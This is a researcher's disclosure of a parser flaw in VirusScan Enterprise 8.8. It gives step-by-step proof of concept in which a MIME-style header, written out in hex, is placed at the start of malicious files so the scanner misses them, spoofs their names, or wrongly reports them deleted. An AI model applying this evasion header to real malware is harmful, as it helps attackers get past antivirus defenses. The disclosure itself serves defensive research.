Having Fun With VirusScan Enterprise



Author: Mert SARICA (mert.sarica@gmail.com)

Summary (Short & Simple):

VirusScan Enterprise Antivirus product may have a bug (or a vulnerability) on its parser that leads to wrong action status message & report, malicious file scan bypass and name spoof by adding the magic line to the beginning of the file header.

Here is the proof of concept steps for malicious file scan bypass:

- Select any malicious file.
 - Aurora exploit code was used from <u>The Grey Corner</u>.
- Add the magic line as shown below to the beginning of the file header.
 - Magic line was added to the beginning of the file header.

 43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 69 6E 6C 69 6E 65 3B 20
 Content-Disposition: inline;

 66 69 6C 65 6E 61 6D 65 3D 73 65 74 75 70 2E 65 78 65 0D 0A 43 6F 6E 74 65 6E 74 2D 54
 Filename=setup.exe..Content-T

 72 61 6E 73 66 65 72 2D 45 6E 63 6F 64 69 6E 67 3A 20 62 69 6E 61 72 79 0D 0A 0D 0A
 Filename=setup.exe..Content-T
- Scan with VirusScan Enterprise.
 - Malicious file was scanned (continue option was selected) with Virusscan Enterprise and AntiSpyware Enterprise Version 8.8, Scan Engine Version 5400.1158, DAT Version 6766.0000.
 - On-Access Scan feature was enabled.

		E	ause
] 🗌 🗖 🔎			Stop
			<u>C</u> lose
		Pro	operties
Scanning in:	A		
Item:			
Progress			

You may watch the POC video at <u>http://www.hack4career.com/videos/vs_engine4.wmv</u>

Here is the proof of concept steps for name spoof:

- Select any malicious file.
 - APT_1104statment.pdf was used from <u>Contagio Malware Dump</u>
- Add the magic line as shown below to the beginning of the file header.
 - Magic line was added to the beginning of the file header.
 43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 69 6E 6C 69 6E 65 3B 20 Content-Disposition: inline; 66 69 6C 65 6E 61 6D 65 3D 77 77 77 2E 68 61 63 6B 34 63 61 72 65 65 72 2E 63 6F 6D 0D filename=www.hack4career.com. 0A 0D 0A
- Scan with VirusScan Enterprise.
 - Malicious file was scanned (continue option was selected) with Virusscan Enterprise and AntiSpyware Enterprise Version 8.8, Scan Engine Version 5400.1158, DAT Version 6766.0000.
 - On-Access Scan feature was disabled.
 - Check out the name tab.

		<u>.</u>		ack+career wer110+stattief	in bai 🗖 🗖 🗖
<u>Scan Detection H</u> elp					
					Pause
					Stop
					<u>C</u> lose
					Properties
Scanning in:					
Item:					
Progress					
101.77					
Name	In Folder	Detected As	Detection Type	Status	
Name	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	
Name	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	τ ι
Name www.hack4career.com	In Folder C:\Documents and Setting	Detected As Generic ExploitIqp	Detection Type Trojan	Status No Action Taken (Clean failed)	
Name Www.hack4career.com	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	
Name Wwww.hack4career.com	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	
Name Wwww.hack4career.com	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	
Name Www.hack4career.com	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	
Name Wwww.hack4career.com	In Folder C:\Documents and Setting	Detected As Generic Exploit!qp	Detection Type Trojan	Status No Action Taken (Clean failed)	

- Log: No Action Taken (Clean failed) Administrator ODS C:\Documents and Settings\Administrator\Desktop\Hack4Career\APT_1104statment.pdf\www.hack4care er.com Generic Exploit!qp (Trojan)
- You may watch the POC video at http://www.hack4career.com/videos/vs_engine2.wmv

Here is the proof of concept steps for wrong action status message:

- Select two malicious files.
 - Malicious JAR file (55993.jar CVE2012-0507) was used from a compromised virtual machine.
 - APT_1104statment.pdf was used from <u>Contagio Malware Dump</u>
- Add the magic line as shown below to the beginning of the file header.
 - Magic line was added to the beginning of the 55993.jar. 43 6F 6E 74 65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 69 6E 6C 69 6E 65 3B 20 Content-Disposition: inline; 66 69 6C 65 6E 61 6D 65 3D 77 77 77 2E 68 61 63 6B 34 63 61 72 65 65 72 2E 63 6F 6D 0D filename=www.hack4career.com. 0A 43 6F 6E 74 65 6E 74 2D 54 72 61 6E 73 66 65 72 2D 45 6E 63 6F 64 69 6E 67 3A 20 62 69 6E 61 72 79 0D 0A 0D 0A
- Leave the second file <u>APT_1104statment.pdf</u> as is.
- ZIP them into a single file.
- Scan with VirusScan Enterprise.
 - Malicious file was scanned (clean option was selected) with Virusscan Enterprise and AntiSpyware Enterprise Version 8.8, Scan Engine Version 5400.1158, DAT Version 6766.0000.
 - On-Access Scan feature was enabled.
 - VirusScan said that it was deleted but it was not.
 - Also you will notice that APT_1104statment.pdf was not detected!

🎭 55993.jar	C:\Documents and	Settings\Administ	rator\Desktop\H	Hack4Career\Nev	w WinRAR ZIF	archive.zip\5	5993.jar E	xploit-CVE2012-0507	Trojan	Deleted
Name	In Folder						[C	etected As	Detection Type	Status
rogress										
	Item:									
Scan	ning in:									
										Properties
										Close
3 🗆										Stor
				-						Pause
an Detection	Help									
On-Demand Se	can Progress - C:\C	ocuments and	Settings\Ad	ministrator\De	sktop\Hack	4Career\Net	w WinRAR 2	IP archive.zip		
APT_1104statm	nent.pdf			91.010	65.985	Adobe Acrob	bat Doc			
] 55993.jar				76.417	76.169	Executable 2	Jar File			
)]			12	bize	Patkeu	File Folder				
		,,	1	Cine	Dealard	Turne				
1 New	WinBAR ZIP archive.	rin - ZIP archive.	unpacked size 1	67.427 bytes	1.6		-			
Add Extrac	실 🛃 🗋 ct To Test V	Tiew Delete	Find	Wizard Info	<mark>کا لی</mark> VirusSca	in Comment	SF			
	N C		aa] /	1	ነ 🗋 🙆.		🧯 »			
🗊 🗋		1 1 1 1								

- Deleted Administrator ODS C:\Documents and Settings\Administrator\Desktop\Hack4Career\Hack4Career.zip\55993.jar\55993.jar Exploit-CVE2012-0507 (Trojan)
 Not scanned (The file is encrypted)
 - C:\Documents and Settings\Administrator\Desktop\Hack4Career\Hack4Career.zip
- You may watch the POC video at http://www.hack4career.com/videos/vs_engine3.wmv

Conclusion:

Do not blindly trust what your Antivirus says and reports because any application may have a bug or a vulnerability that includes Antivirus.

Always monitor your network traffic for malicious activity.